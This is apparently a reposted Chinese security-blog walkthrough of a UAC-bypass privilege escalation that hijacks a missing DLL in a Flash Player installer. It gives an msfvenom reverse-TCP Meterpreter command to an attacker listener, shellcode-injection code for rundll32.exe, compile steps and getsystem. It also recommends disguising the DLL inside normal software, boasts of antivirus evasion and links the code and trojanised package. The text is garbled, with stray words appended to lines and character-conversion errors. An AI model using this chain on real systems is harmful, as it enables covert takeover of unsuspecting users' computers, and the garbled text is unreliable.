背景html
UAC(User Account Control,用戶賬戶控制)是微軟爲提升系統安全而在Windows Vista中引入的新技術,它要求用戶在執行可能會影響計算機運行的操做或執行更改影響其餘用戶的設置的操做以前,提供權限或管理員密碼。shell
也就是說一旦用戶容許啓動的應用程序經過UAC驗證,那麼這個程序也就有了管理員權限。若是咱們經過某種方式劫持了經過用戶UAC驗證的程序,那麼相應的咱們的程序也就實現了提權的過程。windows
提權過程概述安全
首先咱們找到目標程序,查找其動態加載的dll文件而後將其替換掉,插入咱們包含shellcode的dll文件,這樣用戶在安裝此文件的時候就會調用咱們的dll文件,並執行咱們的shellcode代碼。同時爲了防止程序崩掉致使咱們的代碼退出,採用注入的方式保證shellcode的穩定執行。服務器
在此過程當中,若是目標程序請求UAC權限,對於用戶來講這是一個正常的安裝文件,一旦經過UAC驗證,相應咱們的shellcode也完成了提權過程。替換安裝包dll文件這種行爲太過於敏感,其實最後實現的方式是找到目標程序須要加載的,而且當前目錄又不存在的須要聯網下載的dll文件,咱們只須要在該目錄下放一個同名dll文件便可。tcp
實驗環境ide
Kali Debian7工具
Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反彈TCP鏈接。最好安裝一個Mingw-w64用於編譯c代碼。測試
windows7 x64網站
主要的目標測試環境。
Procmon.exe
Procmon是微軟出的一款強大的Windows監視工具,不但能夠監視進程/線程,還能夠監控到文件系統,註冊表的變化等。
install_flashplayer15x32_mssd_aaa_aih
這裏咱們以flashplayer安裝文件做爲目標文件,版本爲15x32_mssd_aaa_aih,可自行下載,或者從最後的打包附件中找到。
詳細提權過程
查找可劫持的dll文件
首先咱們在win7系統下先打開procmon監控軟件,清除一下日誌信息,而後運行咱們的目標文件install_flashplayer15x32_mssd_aaa_aih,運行事後會彈出UAC選項,須要用戶確認受權。
這裏咱們點「是」,而後安裝包開始安裝並自刪除,並從服務器下載所需的文件,這時候就能夠關掉了,由於咱們只須要看該軟件包都加載了哪些dll文件。
看下Procmon.exe記錄全部行爲:
信息量太大,咱們須要過濾出有用的信息。
首先是隻看咱們目標進程的信息,添加過濾規則:
Process Name is install_flashplayer15x32_mssd_aaa_aih
而後是過濾掉加載系統的dll文件,只看安裝包當前目錄下加載的dll文件,我這裏安裝包存放在dllhijack文件夾下,添加過濾規則:
Path contains dllhijack
而且該加載dll不存在,須要聯網從服務器下載,最後再添加一個過濾規則:
Result is NAME NOT FOUND
三個過濾規則以下所示:
通過三個規則過濾後,留下的信息就很明顯了,以下圖所示:
上邊所列的dll文件都是會嘗試加載,而且找不到,會聯網進行下載的dll文件,所以,咱們的目標就是劫持這些dll文件,也不須要替換,直接將咱們的dll文件放在安裝包同目錄便可,這也是爲何選擇這個安裝程序測試的緣由。若是選擇其餘安裝包測試的,最好也是選擇這種聯網安裝類型的,全部文件都從服務器拉取,若是安裝程序沒有對這些從服務器拉取的文件進行效驗,就可以被劫持。
編寫exploit
找到劫持了dll文件後,咱們進入Debian系統用msf生成shellcode,這裏咱們選擇反彈tcp的shellcode,須要知道服務器ip地址和監聽端口,這裏也選擇Debian系統做爲服務器,ifconfig查看下ip,設置監聽端口爲9000,最後執行以下命令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c
爲了防止程序掛掉或者退出致使shellcode也跟着退出,採用注入的方式,將shellcode注入rundll32.exe進程,而後鏈接遠程端口。服務器監聽該端口,一旦有請求就創建會話鏈接,注入關鍵代碼:
if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
最後將程序編譯,這裏編譯直接在Debian系統下用Mingw-w64編譯,命令入下:
root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared
root@idhyt:~/maldemo# file template.dll
template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows
將編譯好的template.dll拷貝到win7系統中備用。
debian系統設置服務器並監聽9000端口,全部命令以下:
提權
將編譯的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目錄下,從咱們監控到的可劫持dll文件中選擇一個,這裏我選擇dhcpcsv6.dll。將咱們的dll文件更名爲dhcpcsvc6.dll,其餘dll文件可自行嘗試。以後從新運行安裝包,彈出UAC選項後點「是」。
以後咱們在debian系統的服務端會看到咱們已經監聽到了這個端口,看下會話信息:
查看下當前uid,而後執行getsystem命令權限:
能夠看到已經提權成功,而後進入shell查看下文件,運行個計算器什麼的。
總結
UAC很大程度上減小PC受到惡意軟件侵害的機會,可是並不代表是不可被利用的。經過這種dll劫持方式,能夠將dll文件設置爲隱藏,並將正常的軟件(如adobe flash player)打包給用戶,用戶基本是察覺不到的,一旦用戶正常安裝,機器就會被攻擊者控制。一些病毒經過劫持lpk.dll等系統dll文件形成的病毒體執行,也是利用這種思路,可是替換系統文件這種敏感操做,基本逃不過殺軟的監控了。
各殺軟廠商對shellcode這種檢測和防護也不夠嚴格,直接從msf中提取的shellcode,沒作任何變形和過殺軟處理,而後virustotal網站上掃描結果以下:
能夠看出總共用了56中殺毒軟件掃描,報毒的只有16個,而後看下國內的殺軟:
國內殺軟全都沒有報毒,因此經過dll劫持提權仍是有很大的使用空間。
代碼和安裝包上傳百度網盤,密碼: rmsq 解壓碼:ks123456
*本文做者:獵豹科學院(企業帳號),轉載須註明來自FreeBuf黑客與極客(FreeBuf.COM)